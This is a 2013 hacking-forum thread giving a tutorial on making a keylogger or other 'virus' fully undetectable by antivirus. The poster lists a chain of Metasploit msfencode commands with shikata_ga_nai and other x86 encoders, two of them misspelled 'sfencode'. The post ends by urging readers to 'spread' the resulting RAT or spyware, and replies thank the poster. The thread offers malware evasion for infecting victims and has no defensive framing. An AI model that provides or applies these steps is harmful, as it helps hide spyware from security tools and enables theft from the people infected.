Thread: [How to make your Keylogger 100% FUD for Free | Video tutorial](#)

Cyb3r D3v - May 11, 2013, 12:30 pm

video tutorial:

[Video: http://www.youtube.com/watch?v=JjxQ7BKfloM&feature=player_embedded]

url for proof :<http://elementscanner.net//?RE=d6624c17a52b532988a8ec9169e22dea>

tools required :

1.) Backtrack OS

2.)Msf encoders

NOTE: FUD virus will work only in 32-bit OS as msf encoders are x86- bit

for 64-bit u can try x64-bit encoder !!

use following commands in backtrack:

So our first step is to change the permissions of that file (775) by typing this command,

```
> "chmod 775 virus.exe" press enter
```

(u have to put that directory in which ur virus.exe is present i have in root folder so it will be"/root/virus.exe")

```
> "msfencode -i /root/Virus.exe -t raw -o  
/root/virus2.exe -e x86/shikata_ga_nai -c 10"
```

```
> "chmod 775 virus2.exe"
```

```
>"msfencode -i /root/virus2.exe -t raw -o  
/root/virus3.exe -e x86/jmp_call_additive -c 1 "
```

```
> "chmod 775 virus3.exe "
```

```
> "sfencode -i /root/virus3.exe -t raw -o  
/root/virus4.exe -e x86/call4_dword_xor -c 1"
```

```
>"chmod 775 virus4.exe"
```

```
>"sfencode -i /root/virus4.exe -t raw -o  
/root/virus5.exe -e x86/shikata_ga_nai -c 1"
```

its over now cheack you root folder ther is virus5.exe which i now you FUD virus !!
njoy spreading !

it can be your RAT/spyware !!
spread it!!

nice tut

thanks for sharing

will try this
